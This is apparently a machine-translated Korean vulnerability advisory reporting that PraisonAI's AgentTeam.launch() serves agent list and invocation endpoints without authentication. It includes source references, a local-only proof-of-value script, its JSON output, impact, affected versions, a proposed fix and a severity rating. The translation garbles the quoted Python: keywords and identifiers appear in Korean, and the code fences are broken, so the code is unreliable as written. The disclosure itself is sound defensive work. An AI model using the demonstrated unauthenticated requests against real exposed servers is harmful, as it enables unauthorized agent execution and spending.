PraisonAI AgentTeam.launch는 인증되지 않은 원격 에이전트 목록 및 호출 엔드포인트를 노출합니다.
AgentTeam.launch()는 인증되지 않은 원격 에이전트 호출 엔드포인트를 노출합니다.PraisonAI의 문서화된 Python AgentTeam.launch() / Agents.launch() HTTP 서버는 인증 시행 없이 외부에서 접근 가능한 에이전트 호출 엔드포인트를 시작합니다.
현재 구현에서는 GET /{path}/list, POST /{path} 및 POST /{path}/{agent_id} 경로를 등록합니다. POST 경로는 agent.chat(...)을 직접 호출합니다. 'Authorization' 헤더가 없는 요청은 허용되며 명백히 잘못된 전달자 토큰이 있는 요청도 허용됩니다. Agents.launch()에 대한 기본 Python API 바인드 호스트는 0.0.0.0이며, 공식 문서에는 원격 액세스를 위한 host="0.0.0.0"이 나와 있습니다.
이는 PraisonAI의 이전 인증되지 않은 API 서버 및 호출 서버 자문 제품군의 형제/불완전한 수정 변형입니다. 근처 서버 표면은 기본적으로 토큰을 요구하거나 장애 시 닫히거나 로컬로 바인딩되도록 강화되었지만 AgentTeam.launch() FastAPI 경로는 여전히 현재 업스트림 기본 및 최신 릴리스에서 인증되지 않은 에이전트 실행을 노출합니다.
이 보고서의 범위는 Python AgentTeam.launch() / Agents.launch() 경로 등록 경로로 지정됩니다. 별도의 praisonai Serve Agent --api-key CLI 경로가 올바르게 적용되는지 여부를 판단할 필요가 없습니다.
praisonaiagents2f9677abb2ea68eab864ee8b6a828fd0141612e1v4.6.57src/praisonai-agents/praisonaiagents/agents/agents.pyAgentTeam.launch()는 1923라인에서 시작됩니다.
'POST' 그룹 경로는 2007행에 등록되어 있습니다. 그룹 핸들러가 호출합니다.
2042행의 agent_instance.chat(...); 인증되지 않은 목록 경로는 다음과 같습니다.
2086행에 등록됨; 에이전트별 핸들러는 라인에서 agent.chat(...)을 호출합니다.
2117.AgentTeam.launch() / 내보낸 별칭 AgentsGET /{path}/list: 배포된 에이전트를 나열합니다.POST /{path}: 팀 내 모든 에이전트를 순차적으로 호출합니다.POST /{path}/{agent_id}: 특정 에이전트를 호출합니다.현재 취약한 싱크:
``파이썬 @app.post(경로) async def handler_query(요청: 요청, query_data: 선택사항[AgentQuery] = 없음): ... 응답 = 루프를 기다립니다.run_in_executor( 없음, copy_context_to_callable(lambda ci=current_input: Agent_instance.chat(ci)), )
에이전트별 싱크:
``파이썬
app.post(agent_path)(create_agent_handler(agent_instance))
...
응답 = 루프를 기다립니다.run_in_executor(
없음,
copy_context_to_callable(lambda q=query: 에이전트.chat(q)),
)
목록 끝점:
``파이썬 @app.get(f"{경로}/목록") 비동기 def list_agents(): return {"agents": [{"name": agent.display_name, "id": ...} self.agents의 에이전트에 대해]}
이 시작 경로에는 미들웨어, 종속성, 토큰 비교, 전달자 토큰 구문 분석, API 키 확인 또는 시작 실패 시 닫힘 가드가 없습니다.
## 보안 경계
이는 신뢰 모델 전용 보고서가 아닙니다. PraisonAI의 현재 보안 문서에는 API 서버가 강화되어 익명 요청이 '401'을 반환하고 API 서버가 이전에 인증되지 않은 API 권고 제품군 이후 기본적으로 '127.0.0.1'에 바인딩된다고 나와 있습니다.
코드베이스에는 강화된 형제 구현도 포함되어 있습니다.
- `praisonai.deploy.api`에는 이제 `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, 생성된 토큰 및 `401 Unauthorized` 검사(`src/praisonai/praisonai/deploy/api.py` 행 44-62 및 69-97)가 있습니다.
- `praisonai.gateway.server.WebSocketGateway`는 외부 바인드 안전성을 검증하고, 외부 바인드를 위한 토큰을 요구하며, 베어러/쿼리/쿠키 인증을 확인하고, WebSocket 인증을 검증합니다(`src/praisonai/praisonai/gateway/server.py` 라인 328-424).
- 'praisonai call' 강화에는 'CALL_SERVER_TOKEN' 또는 명시적인 거부가 필요한 것으로 문서화되어 있습니다.
`AgentTeam.launch()`는 동일한 클래스의 네트워크 연결 에이전트 호출 표면을 노출하더라도 공유 컨트롤 외부에 남아 있습니다.
## 로컬 전용 복제
`PYTHONPATH`의 현재 소스를 사용하여 아래 로컬 전용 PoV 스크립트를 실행하세요.
``배쉬
PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \
파이썬 poc_agentteam_launch_unauth.py
예상되는 취약한 결과:
``텍스트 [poc] HIT: 인증되지 않은 클라이언트가 AgentTeam 엔드포인트를 호출했습니다.
현재 업스트림 메인에서 관찰됨:
``json
{
"결과": [
{
"본문": {
"에이전트": [
{
"id": "pov_agent",
"이름": "pov_agent"
}
]
},
"case": "no_auth_list",
"방법": "GET",
"경로": "/에이전트/목록",
"상태": 200
},
{
"case": "no_auth_group",
"방법": "포스트",
"경로": "/에이전트",
"상태": 200,
"본문": {
"final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:마커",
"쿼리": "마커",
"결과": [
{
"에이전트": "pov_agent",
"응답": "POV_UNAUTH_AGENTTEAM_EXECUTED:마커"
}
]
}
},
{
"case": "wrong_bearer_group",
"방법": "포스트",
"경로": "/에이전트",
"상태": 200,
"본문": {
"final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:마커",
"쿼리": "마커",
"결과": [
{
"에이전트": "pov_agent",
"응답": "POV_UNAUTH_AGENTTEAM_EXECUTED:마커"
}
]
}
},
{
"case": "no_auth_per_agent",
"방법": "포스트",
"경로": "/에이전트/pov_agent",
"상태": 200,
"본문": {
"에이전트": "pov_agent",
"쿼리": "마커",
"응답": "POV_UNAUTH_AGENTTEAM_EXECUTED:마커"
}
}
]
}
PoV는 '127.0.0.1'에 바인딩되고, 무작위로 선택된 로컬 포트를 사용하고, 'agent.chat()'을 스텁하여 외부 LLM 공급자를 피하고, 로컬 HTTP 요청만 보냅니다.
독립형 PoV 스크립트:
``파이썬 #!/usr/bin/env python3 """ PRAI-CAND-003용 로컬 전용 PoV.
스텁을 사용하여 127.0.0.1에서 PraisonAI AgentTeam/Agents HTTP 서버를 시작합니다. 에이전트 응답 후 그룹 엔드포인트와 에이전트별 엔드포인트를 모두 증명합니다. 인증 없이 실행합니다. 모델 공급자나 외부 네트워크가 사용되지 않습니다. """
JSON 가져오기 수입 소켓 수입 시간 수입 유형 수입 스레딩 contextlib 가져오기 종료에서
수입요청 from praisonaiagents import 에이전트, 에이전트
def _free_port() -> 정수: Closing(socket.socket(socket.AF_INET, 소켓.SOCK_STREAM))을 양말로 사용: 양말.바인드(("127.0.0.1", 0)) 양말.getsockname()[1] 반환
def main() -> int: 포트 = _free_port()
대리인 = 대리인(
이름="pov_agent",
역할="테스터",
목표="테스트",
뒷이야기="테스트",
llm=없음,
)
def stub_chat(self, query, *args, **kwargs):
f"POV_UNAUTH_AGENTTEAM_EXECUTED:{쿼리}"를 반환합니다.
Agent.chat = 유형.MethodType(stub_chat, 에이전트)
팀 = 에이전트(에이전트=[에이전트])
launch_thread = 스레딩.스레드(
target=lambda: team.launch(path="/agents", port=port, 호스트="127.0.0.1", debug=False),
데몬=참,
)
launch_thread.start()
기본 = f"http://127.0.0.1:{포트}"
_ 범위 내(40):
시도해 보세요:
응답 = 요청.get(기본 + "/health", 시간 초과=0.25)
response.status_code == 200인 경우:
휴식
예외:
시간.수면(0.1)
그 외:
raise SystemExit("[poc] MISS: 서버가 시작되지 않았습니다.")
사례 = [
("no_auth_list", "GET", {}, "/agents/list", 없음),
("no_auth_group", "POST", {}, "/agents", {"query": "marker"}),
(
"잘못된_베어러_그룹",
"포스트",
{"승인": "전달자가 확실히 잘못되었습니다."},
"/에이전트",
{"쿼리": "마커"},
),
("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}),
]
결과 = []
이름, 메소드, 헤더, 경로, 본문의 경우:
if 메소드 == "GET":
응답 = 요청.get(기본 + 경로, 헤더=헤더, 시간 초과=5)
그 외:
응답 = 요청.포스트(기본 + 경로, json=본체, 헤더=헤더, 시간 제한=5)
시도해 보세요:
본문 = response.json()
예외:
본문 = response.text
결과.추가(
{
"케이스": 이름,
"방법": 방법,
"경로": 경로,
"상태": response.status_code,
"몸": 몸,
}
)
print(json.dumps({"port": 포트, "results": 결과}, indent=2, sort_keys=True))
예상_마커 = "POV_UNAUTH_AGENTTEAM_EXECUTED:마커" 결과에 대한 결과: 결과["상태"] != 200인 경우: raise SystemExit(f"[poc] MISS: {result['case']} 반환됨 {result['status']}") 결과["case"] == "no_auth_list" 및 "pov_agent"가 json.dumps(result["body"])에 없는 경우: raise SystemExit("[poc] MISS: 인증되지 않은 목록 엔드포인트가 에이전트 ID를 노출하지 않았습니다.") 결과["case"] == "no_auth_list"인 경우: 계속하다 body_text = json.dumps(result["body"], sort_keys=True) 예상_마커가 body_text에 없는 경우: raise SystemExit(f"[poc] MISS: {result['case']}")에 대한 마커가 없습니다.
print("[poc] HIT: 인증되지 않은 클라이언트가 AgentTeam 엔드포인트를 호출했습니다.")
0을 반환
name == "main"인 경우: SystemExit(main()) 올리기
## 영향
운영자가 문서화된 원격 서버 패턴을 따르고 도달 가능한 인터페이스에 `AgentTeam.launch()` 서버를 노출하는 경우 모든 네트워크 클라이언트는 자격 증명 없이 배포된 에이전트를 호출할 수 있습니다.
배포된 에이전트에 따라 인증되지 않은 호출자는 다음을 수행할 수 있습니다.
- `GET /{path}/list`를 통해 사용 가능한 에이전트 ID 및 이름을 열거합니다.
- 에이전트를 반복적으로 호출하여 모델/API 지출을 트리거합니다.
- 로컬 도구, 내부 API, SaaS 통합, 브라우저, 파일 또는 워크플로 작업에 연결된 에이전트를 구동합니다.
- 운영자가 팀 엔드포인트만 사용될 것으로 예상한 경우에도 에이전트별 엔드포인트를 통해 부작용을 트리거합니다.
- 연결된 개인 컨텍스트, 메모리 또는 지식 소스에서 생성된 응답에 액세스합니다.
영향은 배포에 따라 다르지만 누락된 액세스 제어는 사용자 애플리케이션 코드가 아닌 프레임워크의 알려진 네트워크 서버 경로에 있습니다.
## 영향을 받는 버전 스윕
릴리스 태그의 정적 스윕은 다음 위치에 있는 인증되지 않은 `AgentTeam.launch()` 핸들러와 에이전트별 등록을 보여줍니다.
-`v4.6.33`
-`v4.6.39`
-`v4.6.40`
-`v4.6.56`
- `v4.6.57`
이 문제는 현재 업스트림 메인 '2f9677abb2ea68eab864ee8b6a828fd0141612e1'에 여전히 존재합니다.
생성된 배포 API 경로는 `v4.6.33`과 `v4.6.39` 사이에 강화되었으며 `v4.6.57`에서도 강화된 상태로 유지됩니다. 이는 불완전 수정/형제 호출 사이트 분류를 지원합니다. 수정 사항에는 'AgentTeam.launch()'가 포함되지 않았습니다.
## 근본 원인
`AgentTeam.launch()` FastAPI 서버는 독립적인 경로 등록 경로로 구현됩니다. 강화된 API 서버 인증 도우미, 게이트웨이 바인딩 인식 인증 가드 또는 공유 서버 인증 정책을 재사용하지 않습니다.
보안에 민감한 작업은 네트워크 요청에서 'agent.chat()'을 직접 호출하는 것입니다. 해당 호출 전에 경로에 액세스 제어 확인이 없습니다.
## 제안된 수정 사항
권장 접근 방식:
1. 모든 네트워크 연결 에이전트 호출 서버에 대한 공유 인증 도우미를 추가합니다.
2. 토큰/API 키가 구성되지 않은 경우 루프백이 아닌 바인딩에 대해 `AgentTeam.launch()`가 실패 처리되도록 만듭니다.
3. `Authorization: Bearer <token>` 또는 `POST /{path}`, `GET /{path}/list` 및 `POST /{path}/{agent_id}`에 대해 명시적으로 문서화된 API 키 헤더가 필요합니다.
4. 명시적인 안전하지 않은/원격 옵션과 인증이 구성되지 않은 한 기본 `AgentTeam.launch()`는 `host="127.0.0.1"`로 설정됩니다.
5. 다음을 증명하는 회귀 테스트를 추가합니다.
- '401'을 반환하는 토큰이 없습니다.
- 잘못된 토큰이 '403'을 반환합니다.
- 올바른 토큰은 에이전트를 나열할 수 있습니다.
- 올바른 토큰이 팀 엔드포인트를 호출할 수 있습니다.
- 올바른 토큰은 에이전트별 엔드포인트를 호출할 수 있습니다.
- 인증이 없는 외부 바인딩은 시작 시 실패합니다.
인증되지 않은 로컬 개발이 계속 지원되는 경우 외부에 바인딩된 인증되지 않은 서버에 대해 루프백 바인딩과 명시적인 안전하지 않은 옵트아웃을 요구합니다.
## 심각도
권장 심각도: 심각
근거:
- 네트워크 공격 벡터: 문서화된 서버는 '0.0.0.0'을 통한 원격 액세스를 지원합니다.
- 낮은 복잡성: 단일 POST 요청으로 에이전트를 호출합니다.
- 권한 없음: 자격 증명이 필요하지 않습니다.
- 사용자 상호작용 없음: 서버가 노출되면 공격자가 직접 요청을 보냅니다.
- 높은 기밀성/무결성/가용성에 미치는 영향은 배포된 에이전트 및 연결된 도구에 따라 다르지만 이는 이전 PraisonAI 인증되지 않은 API 권고와 동일한 에이전트 제어 클래스입니다. 공식 원격 에이전트 문서에서는 도구, 메모리, 지식 및 인증 헤더를 사용하여 원격 에이전트를 명시적으로 설명하므로 보안 관련 구성은 가상이 아닙니다.
유지관리자가 도구나 비공개 컨텍스트 없이 최소한의 에이전트만을 기준으로 점수를 매기려는 경우 하한 영향에는 여전히 무단 원격 호출 및 모델/API 지출이 포함됩니다.
## 메모
현재 소스의 직접 단일 에이전트 `Agent.launch()` 경로는 동일한 인증 누락 설계를 공유하는 것으로 보이지만 테스트된 로컬 소스 체크아웃에서 제공하기 전에 `NameError: name '_server_lock'이 정의되지 않았습니다`를 발생시킵니다. 따라서 이 보고서는 확인된 작업 `AgentTeam.launch()` / `Agents.launch()` 경로에 대해서만 주요 영향을 주장합니다.
CLI 'praisonai Serve Agent' 표면은 '--api-key' 옵션을 광고하고 공유 수정 사항을 적용할 때 유지 관리자가 검토해야 하지만 이 제출은 CLI별 우회 요청에 의존하지 않습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 98.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 98.00 |
VPI 공식 vpi-v1 기준